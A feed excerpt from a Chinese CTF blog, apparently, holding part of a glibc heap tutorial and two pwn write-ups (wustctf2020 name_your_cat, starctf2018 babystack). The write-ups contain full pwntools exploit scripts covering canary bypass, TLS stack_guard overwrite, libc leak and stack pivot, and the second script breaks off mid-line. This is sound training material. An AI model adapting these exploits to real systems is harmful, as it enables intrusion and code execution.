bin</h3><blockquote><p><code>large bin</code> 存放的是大于等于 <code>0x200</code> 字节（64 位为 <code>0x400</code> 字节）的 <code>chunk</code></p></blockquote><ul><li><code>large bin</code> 存储在 <code>bins[64]</code> 至 <code>bins[126]</code> 处，是 63 个<strong>双向循环链表</strong></li><li><em>每个 bin 中的 chunk 的大小不一致（按大小降序排列）</em></li><li><strong>采取 <code>FIFO</code> 策略</strong></li><li>插入和删除可以发生在任意位置</li><li>相邻空闲 <code>chunk</code> 会被合并</li></ul><p><code>large bin</code> 的 <code>freed chunk</code> 会多两个指针 <code>fd_nextsize</code>、<code>bk_nextsize</code>，分别指向前一块和后一块 <code>large chunk</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA13.png" alt="CTF - PWN_堆与堆溢出13.png"></p><p><code>large bin</code> 的大小再分成 63 个 <code>bin</code>，但大小不再是固定大小增加，而是按照公差分为 6 组：</p><table><thead><tr><th>组</th><th>bin 的数量</th><th>公差</th></tr></thead><tbody><tr><td>1</td><td>32</td><td>0x40</td></tr><tr><td>2</td><td>16</td><td>0x200</td></tr><tr><td>3</td><td>8</td><td>0x1000</td></tr><tr><td>4</td><td>4</td><td>0x8000</td></tr><tr><td>5</td><td>2</td><td>0x40000</td></tr><tr><td>6</td><td>1</td><td>不限制，大小和 large bin 剩余的大小相同</td></tr></tbody></table><hr><h3 id="tcache"><a href="#tcache" class="headerlink" title="tcache"></a>tcache</h3><blockquote><p><code>tcache</code> 是 libc2.26（Ubuntu 17.10）之后引进的一种新机制，类似于 <code>fast bin</code> 一样的东西，目的是提升堆管理的性能，但提升性能的同时舍弃了很多安全检查，也因此有了很多新的利用方式</p></blockquote><ul><li>每条链上最多可以有 7 个 <code>chunk</code></li><li><code>malloc</code> 的时候优先去 <code>tcache</code> 找</li><li><code>free</code> 的时候当 <code>tcache</code> 满了才放入 <code>fastbin</code> 或 <code>unsorted bin</code></li></ul><p>基本工作方式：</p><ul><li><p><code>malloc</code> 时，会先 <code>malloc</code> 一块内存用来存放 <code>tcache_perthread_struct</code></p></li><li><p><code>free</code> 内存，且 <code>size</code> 小于 <code>small bin size</code> 时</p><ol><li>先放到对应的 <code>tcache</code> 中，直到 <code>tcache</code> 被填满（默认是 7 个）</li><li><code>tcache</code> 被填满之后，再次 <code>free</code> 的内存和之前一样被放到 <code>fast bin</code> 或者 <code>unsorted bin</code> 中</li><li><code>tcache</code> 中的 <code>chunk</code> 不会合并（不取消 <code>PREV_INUSE</code> 位）</li></ol></li><li><p><code>malloc</code> 内存，且 <code>size</code> 在 <code>tcache</code> 范围内</p><ol><li>先从 <code>tcache</code> 取 <code>chunk</code>，直到 <code>tcache</code> 为空</li><li><code>tcache</code> 为空后，从 <code>bin</code> 中找</li><li><code>tcache</code> 为空时，如果 <code>fast bin</code>、<code>small bin</code>、<code>unsorted bin</code> 中有 <code>size</code> 符合的 <code>chunk</code>，会先把 <code>fast bin</code>、<code>small bin</code>、<code>unsorted bin</code> 中的 <code>chunk</code> 放到 <code>tcache</code> 中，直到填满；之后再从 <code>tcache</code> 中取；因此 <code>chunk</code> 在 <code>bin</code> 中和 <code>tcache</code> 中的顺序会反过来</li></ol></li></ul><hr>]]></content>
    
    
    <summary type="html">都说 PWN 的世界分为栈、堆和内核，这篇文章主要介绍了堆这种数据结构的相关概念，作为堆利用的前置基础</summary>
    
    
    
    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="CTF" scheme="https://www.uf4te.cn/tags/CTF/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
  </entry>
  
  <entry>
    <title>【wustctf 2020】name_your_cat</title>
    <link href="https://www.uf4te.cn/posts/35b1366d.html"/>
    <id>https://www.uf4te.cn/posts/35b1366d.html</id>
    <published>2024-05-14T15:35:36.000Z</published>
    <updated>2025-10-29T08:21:03.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="收获"><a href="#收获" class="headerlink" title="收获"></a>收获</h1><ul><li><mark>利用数组下标越界实现绕过 Canary 修改栈上的返回值</mark></li></ul><hr><p><a href="https://buuoj.cn/challenges#wustctf2020_name_your_cat">【wustctf2020】name_your_cat</a></p><hr><h1 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h1><p>查看保护：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90wustctf2020%E3%80%91name_your_cat1.png" alt="【wustctf2020】name_your_cat1.png"></p><p>在 IDA 下分析：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90wustctf2020%E3%80%91name_your_cat2.png" alt="【wustctf2020】name_your_cat2.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90wustctf2020%E3%80%91name_your_cat3.png" alt="【wustctf2020】name_your_cat3.png"></p><p>这里循环了 5 次，关键在于 <code>NameWhich()</code> 函数</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90wustctf2020%E3%80%91name_your_cat4.png" alt="【wustctf2020】name_your_cat4.png"></p><p>在 <code>NameWhich()</code> 中首先让我们输入一个数存放到 <code>v2</code> 地址处，由于 <code>v2</code> 是一个数组，数组名代表数组第一个元素的地址，因此其实是让我们输入 <code>v2[0]</code> 的值</p><p>然后让我们输入一个最多 7 个字符的字符串存放在 <code>8 * v2[0] + a1</code> 地址处，由于 <code>a1</code> 是作为 char 型数组 <code>v3</code> 的形参，因此这里是让我们输入 <code>v3[8 * v2[0]]</code> 的值</p><p>存在一个后门函数 <code>shell()</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90wustctf2020%E3%80%91name_your_cat5.png" alt="【wustctf2020】name_your_cat5.png"></p><p>查看栈中的布局：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90wustctf2020%E3%80%91name_your_cat6.png" alt="【wustctf2020】name_your_cat6.png"></p><p>由于存在 Canary，且没有其他的溢出点</p><p>但考虑到我们可以通过输入 <code>v3[8 * v2[0]]</code> 的值控制 <code>v3[]</code> 数组，同时程序没有对数组边界进行检查</p><p>因此我们可以使 <code>v3[]</code> 数组的下标越界，进而绕过 Canary 修改栈上的返回值</p><p><code>v3</code> 首地址距离栈上的返回地址 <code>0x34 + 0x4 = 0x38</code>，当 <code>v2[0] = 0</code> 时即对应 <code>v3</code> 的首地址</p><p>因此要修改返回地址的话，<code>v2[0]</code> 应该等于 <code>0x38 / 8 = 7</code></p><hr><h1 id="脚本"><a href="#脚本" class="headerlink" title="脚本"></a>脚本</h1><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token comment"># 设置系统架构, 打印调试信息</span><span class="token comment"># arch 可选 : i386 / amd64 / arm / mips</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'i386'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># PWN 远程 : content = 0, PWN 本地 : content = 1</span>content <span class="token operator">=</span> <span class="token number">0</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./wustctf2020_name_your_cat"</span><span class="token punctuation">)</span><span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span><span class="token comment"># 将本地的 Linux 程序启动为进程 io</span>    io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">"./wustctf2020_name_your_cat"</span><span class="token punctuation">)</span><span class="token keyword">else</span><span class="token punctuation">:</span><span class="token comment"># 远程程序的 IP 和端口号</span>    io <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">"node5.buuoj.cn"</span><span class="token punctuation">,</span> <span class="token number">25944</span><span class="token punctuation">)</span><span class="token comment"># 附加 gdb 调试</span><span class="token keyword">def</span> <span class="token function">debug</span><span class="token punctuation">(</span>cmd<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>   <span class="token comment"># 只有本地才可调试，远程无法调试</span>        gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span>        pause<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">NameWhich</span><span class="token punctuation">(</span>payload1<span class="token punctuation">,</span> payload2<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'>'</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload1<span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'Give your name plz: '</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload2<span class="token punctuation">)</span>shell_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"shell"</span><span class="token punctuation">]</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> i <span class="token operator">!=</span> <span class="token number">4</span><span class="token punctuation">:</span>        NameWhich<span class="token punctuation">(</span><span class="token string">b'0'</span><span class="token punctuation">,</span> <span class="token string">b'uf4te'</span><span class="token punctuation">)</span>    <span class="token keyword">else</span><span class="token punctuation">:</span>        NameWhich<span class="token punctuation">(</span><span class="token string">b'7'</span><span class="token punctuation">,</span> p32<span class="token punctuation">(</span>shell_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 与远程交互</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h1 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h1><blockquote><p>flag{b953f0db-02fb-41e0-8b8e-11f9a74cc362}</p></blockquote><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90wustctf2020%E3%80%91name_your_cat7.png" alt="【wustctf2020】name_your_cat7.png"></p>]]></content>
    
    
    <summary type="html">题目比较简单，但是一种比较少见的 Canary Bypass 方法，通过数组下标越界绕过 Canary 直接修改栈上的返回值</summary>
    
    
    
    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="Writeup" scheme="https://www.uf4te.cn/tags/Writeup/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
    <category term="Bypass" scheme="https://www.uf4te.cn/tags/Bypass/"/>
    
  </entry>
  
  <entry>
    <title>【Star Ctf 2018】babystack</title>
    <link href="https://www.uf4te.cn/posts/11e500a1.html"/>
    <id>https://www.uf4te.cn/posts/11e500a1.html</id>
    <published>2024-05-14T07:14:45.000Z</published>
    <updated>2025-10-29T08:21:03.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="收获"><a href="#收获" class="headerlink" title="收获"></a>收获</h1><ul><li><p><mark>当溢出长度够大且程序创建了子线程时，可以通过修改 TLS 结构体中的 <code>stack_guard</code> 来控制 Canary</mark></p></li><li><p><mark>GDB 进行多线程的调试方法</mark></p></li><li><p><mark>通过 <code>read()</code> 将 one_gadget 写到 BSS 段上，然后利用栈迁移执行 one_gadget</mark></p></li><li><p>如果发现成功构造 <code>system(&quot;/bin/sh&quot;)</code> 后仍出现错误，尝试使用 one_gadget 或者 ret2syscall 构造 <code>execve(&quot;/bin/sh&quot;, 0, 0)</code> 来 getshell</p></li></ul><hr><p><a href="https://buuoj.cn/challenges#starctf2018_babystack">【Star Ctf 2018】babystack</a></p><hr><h1 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h1><p>查看程序保护：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack1.png" alt="【starctf2018】babystack1.png"></p><p>已知 Glibc 版本为 2.27</p><p>尝试运行：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack2.png" alt="【starctf2018】babystack2.png"></p><p>IDA 下分析：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack3.png" alt="【starctf2018】babystack3.png"></p><p>程序通过 <code>pthread_create(newthread, 0LL, start_routine, 0LL);</code> 创建了一个线程</p><blockquote><p>注意，关于线程函数的一点说明：</p><p><code>pthread_create</code> 用于创建一个线程，<code>pthread_join</code> 使一个线程等待另一个线程结束</p><p>如果没有 <code>pthread_join</code> 的话，主线程会很快结束从而使整个进程结束，创建的线程还没有机会执行整个线程就已经结束了</p><p>使用了 <code>pthread_join</code> 后，主线程会一直等待，直到等待的线程结束后主线程才会结束，使创建的线程有机会执行</p></blockquote><p>线程从 <code>start_routine()</code> 函数开始执行：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack4.png" alt="【starctf2018】babystack4.png"></p><p>首先通过 <code>sub_400906()</code> 获取用户输入，这个输入表示我们想要发送多少字节的数据：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack5.png" alt="【starctf2018】babystack5.png"></p><p>这里的 <code>atol()</code> 函数将我们输入的字符串转换成一个长整数，返回给 <code>v2</code></p><p>如果 <code>v2 &lt;= 0x10000</code>，就调用 <code>sub_400957(0LL, s, v2);</code> 让我们向 <code>s</code> 中输入数据</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack6.png" alt="【starctf2018】babystack6.png"></p><p>注意到 <code>memset(s, 0, 0x1000uLL);</code> 为 <code>s</code> 初始化的空间长度为 <code>0x1000</code>，远远小于 <code>0x10000</code>，因此是存在溢出的</p><p>这里溢出的长度非常大，我们可以覆盖很多内容</p><p>由于 Canary 的生成是在程序的函数入口处从 GS 段（32 位）或 FS 段（64 位）内获取一个随机值，可以在 IDA 中看到对应位置：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B613.png" alt="CTF-PWN_Bypass安全机制13.png"></p><p>栈上的 Canary 的值其实来自于 TLS（Thread Local Storage），在 64 位程序中，TLS 由 FS 寄存器指向，因此这里的 <code>fs:28h</code> 其实是 Canary 在 TLS 中的偏移</p><blockquote><p>当程序创建线程的时候，会顺便创建一个 TLS 用来存储线程私有的数据，该 TLS 也会存储 Canary 的值，而 TLS 会保存在栈的高地址处 <strong>（这也是为什么说同一个进程中的不同线程的 Canary 是相同的）</strong></p></blockquote><p>因此，我们只要覆盖 TLS 中 Canary 的值，那么整个程序的 Canary 的值就是由我们来定的了</p><p>接下来就是动态调试确定偏移量了</p><blockquote><p>注意，这里涉及到多线程，需要进行多线程的 GDB 动态调试，如果不熟悉的话，可以看看本站《<a href="c9687d57.html">GDB的基础和使用</a>》一文中的《<a href="c9687d57.html#pthread-%E5%A4%9A%E7%BA%BF%E7%A8%8B%E8%B0%83%E8%AF%95">pthread 多线程调试</a>》部分</p></blockquote><p>为了便于我们调试，我们首先在子线程的 <code>start_routine()</code> 中下好断点：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">b *0x4009E7<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack8.png" alt="【starctf2018】babystack8.png"></p><p>GDB 就自动调试到子线程中了，一直到 <code>sub_400906()</code> 让我们输入长度时，输入大一点，我这里输入 <code>0x3000</code></p><p>但是发现好像第二次在 <code>sub_400957(0, s, v2);</code> 中的输入被跳过了</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack9.png" alt="【starctf2018】babystack9.png"></p><p>由于我们也没办法输入回车符、换行符，因此用脚本来测试</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b"How many bytes do you want to send?\n"</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span><span class="token number">0x3000</span><span class="token punctuation">)</span><span class="token punctuation">)</span>gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">)</span>pause<span class="token punctuation">(</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">b'aaaaaaaa'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>进入调试后，我们首先需要将调试的线程切换到子线程：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>gdb<span class="token punctuation">)</span> thread <span class="token number">2</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>然后正常调试发送 payload，查看栈中的布局：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack10.png" alt="【starctf2018】babystack10.png"></p><p>我们输入的数据在 <code>0x7f97df1fdee0</code> 地址处</p><p>GDB 获取子线程的 TLS 在栈上的首地址：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>gdb<span class="token punctuation">)</span> x/x pthread_self<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>由于 Canary 在 TLS 中偏移 <code>0x28</code> 的位置：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack11.png" alt="【starctf2018】babystack11.png"></p><p>于是我们输入的位置距离 TLS 中 Canary 的位置：<code>(0x7f97df1ff700 + 0x28) - 0x7f97df1fdee0 = 0x1848</code> 字节</p><p>因此我们至少需要溢出 <code>0x1848 + 0x8 = 0x1850</code> 字节</p><p>虽然程序没有开 PIE，但也没有 <code>system()</code> 和 <code>b&#39;/bin/sh&#39;</code>，因此我们还是需要通过 libc 偏移进行计算，这里选择先使用 <code>puts_plt_addr</code> 输出 <code>puts_got_addr</code> 泄露 <code>puts()</code> 的真实地址</p><p>同时，这里只有一次机会</p><blockquote><p>反正我尝试让程序执行流回到 <code>start_routine()</code> 或者 <code>main()</code> 后，在第二次发送 payload 时都会导致程序崩溃</p></blockquote><p>因此，最后选择首先通过 <code>read()</code> 将 <code>system(&quot;/bin/sh&quot;)</code> 写到一个可写入的地方，我这里选择的是 BSS 段首地址的下一地址 <code>target_addr</code> 处</p><p>然后利用 <code>leave; ret</code> 指令实现栈迁移</p><p>其中 <code>leave</code> 指令将 EBP 迁移到 <code>target_addr - 8</code> 的地方（即：BSS 段的首地址处），由于出栈操作使 RSP + 8 让 RSP 指向 <code>target_addr</code> 的位置</p><p>然后通过 <code>ret</code> 指令执行我们写在 BSS 段上的 <code>system(&quot;/bin/sh&quot;)</code></p><blockquote><p><strong>其实只要保证 <code>read()</code> 写入的地方在 EBP 迁移过去的地址的下一地址处即可</strong></p><p>如果对栈迁移的流程不太清楚，可以查看本站《<a href="92acfead.html">栈迁移</a>》一文的《<a href="92acfead.html#%E5%8F%AF%E4%BB%A5%E8%A6%86%E7%9B%96%E5%88%B0%E8%BF%94%E5%9B%9E%E5%9C%B0%E5%9D%80">可以覆盖到返回地址</a>》部分</p></blockquote><p>但实际操作时发现，我们确实已经成功构造了 <code>system(&quot;/bin/sh&quot;)</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack12.png" alt="【starctf2018】babystack12.png"></p><p>但是会在 <code>do_system()</code> 中发生段错误，导致无法 getshell</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack13.png" alt="【starctf2018】babystack13.png"></p><p>暂时不知道错误发生的原因</p><p>但是通过 one_gadget 执行 <code>execve(&quot;/bin/sh&quot;, 0, 0)</code> 是可以 getshell 的</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack14.png" alt="【starctf2018】babystack14.png"></p><p>这几个都尝试了一下，发现 <code>one_gadget_libc = 0x4f322</code> 是可以的</p><hr><h1 id="脚本"><a href="#脚本" class="headerlink" title="脚本"></a>脚本</h1><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token comment"># 设置系统架构, 打印调试信息</span><span class="token comment"># arch 可选 : i386 / amd64 / arm / mips</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># PWN 远程 : content = 0, PWN 本地 : content = 1</span>content <span class="token operator">=</span> <span class="token number">0</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'./bs'</span><span class="token punctuation">)</span><span class="token comment"># libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")</span>libc <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'/opt/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'</span><span class="token punctuation">)</span><span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span><span class="token comment"># 将本地的 Linux 程序启动为进程 io</span>    io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">"./bs"</span><span class="token punctuation">)</span><span class="token keyword">else</span><span class="token punctuation">:</span><span class="token comment"># 远程程序的 IP 和端口号</span>    io <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">"node5.buuoj.cn"</span><span class="token punctuation">,</span> <span class="token number">26929</span><span class="token punctuation">)</span><span class="token comment"># 附加 gdb 调试</span><span class="token keyword">def</span> <span class="token function">debug</span><span class="token punctuation">(</span>cmd<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>   <span class="token comment"># 只有本地才可调试，远程无法调试</span>        gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span>        pause<span class="token punctuation">(</span><span class="token punctuation">)</span>bss_start <span class="token operator">=</span> elf<span class="token punctuation">.</span>bss<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"bss_start -->"</span><span class="token punctuation">,</span> bss_start<span class="token punctuation">)</span>target_addr <span class="token operator">=</span> bss_start <span class="token operator">+</span> <span class="token number">0x8</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"target_addr -->"</span><span class="token punctuation">,</span> target_addr<span class="token punctuation">)</span>pop_rdi_ret <span class="token operator">=</span> <span class="token number">0x400c03</span>pop_rsi_r15_ret <span class="token operator">=</span> <span class="token number">0x400c01</span>leave_ret <span class="token operator">=</span> <span class="token number">0x400955</span>read_plt <span class="token operator">=</span> elf<span class="token punctuation">.</span>plt<span class="token punctuation">[</span><span class="token string">"read"</span><span class="token punctuation">]</span>puts_got_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">"puts"</span><span class="token punctuation">]</span>puts_plt_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>plt<span class="token punctuation">[</span><span class="token string">"puts"</span><span class="token punctuation">]</span>read_plt_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>plt<span class="token punctuation">[</span><span class="token string">"read"</span><span class="token punctuation">]</span>offset <span class="token operator">=</span> <span class="token number">0x1850</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b"How many bytes do you want to send?\n"</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>offset<span class="token punctuation">)</span><span class="token punctuation">)</span>   <span class="token comment"># 构造 payload 至少需要 0x1850 的长度</span>payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x1008</span>   <span class="token comment"># 填充 0x1008 个垃圾数据到达 Canary</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0xdeadbeef</span><span class="token punctuation">)</span>   <span class="token comment"># 0xdeadbeef 是被我们修改后的 Canary</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>target_addr <span class="token operator">-</span> <span class="token number">0x8</span><span class="token punctuation">)</span>   <span class="token comment"># 当前 rbp 的位置，填写栈迁移的地址</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>pop_rdi_ret<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>puts_got_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>puts_plt_addr<span class="token punctuation">)</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>pop_rdi_ret<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>pop_rsi_r15_ret<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>target_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>read_plt_addr<span class="token punctuation">)</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>leave_ret<span class="token punctuation">)</span>payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">0x1848</span><span class="token punctuation">,</span> <span class="token string">b"a"</span><span class="token punctuation">)</span>   <span class="token comment"># 长度填充到 0x1848 到达 TLS 中 Canary 的位置</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0xdeadbeef</span><span class="token punctuation">)</span>   <span class="token comment"># 修改 TLS 中的 stack_guard，也就是 Canary</span><span class="token comment"># debug()</span>io<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>   <span class="token comment"># payload 长度刚好 0x1850，因此不要用 sendline</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b"It's time to say goodbye.\n"</span><span class="token punctuation">)</span>puts_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">b'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"puts_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>puts_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>one_gadget_libc <span class="token operator">=</span> <span class="token number">0x4f322</span>libcbase <span class="token operator">=</span> puts_addr <span class="token operator">-</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"puts"</span><span class="token punctuation">]</span>one_gadget_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> one_gadget_libc   <span class="token comment"># 根据 libc 偏移计算 one_gadget 真实地址</span>system_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"system"</span><span class="token punctuation">]</span>bin_sh_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> <span class="token builtin">next</span><span class="token punctuation">(</span>libc<span class="token punctuation">.</span>search<span class="token punctuation">(</span><span class="token string">b'/bin/sh'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"system_addr -->"</span><span class="token punctuation">,</span> <span class="token 